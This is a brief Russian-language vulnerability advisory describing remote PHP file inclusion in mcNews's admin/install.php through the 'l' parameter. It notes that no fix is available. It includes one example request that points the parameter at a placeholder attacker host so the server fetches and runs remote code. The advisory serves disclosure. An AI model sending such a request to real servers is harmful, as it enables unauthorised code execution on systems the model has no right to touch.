PHP-инклюдинг в mcNews

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный php сценарий на целевой системе.

Уязвимость существует при обработке входных данных в параметре 'l' сценария 'admin/install.php'. Удаленный пользователь может указать в качестве параметра переменной 'l' произвольный файл и выполнить его с привилегиями web сервера на системе. Пример:

http://[target]/path/to/mcnews/admin/install.php?l=http://[attacker]/source

URL производителя: http://www.phpforums.net/index.php?dir=dld

Решение: Способов устранения уязвимости не существует в настоящее время.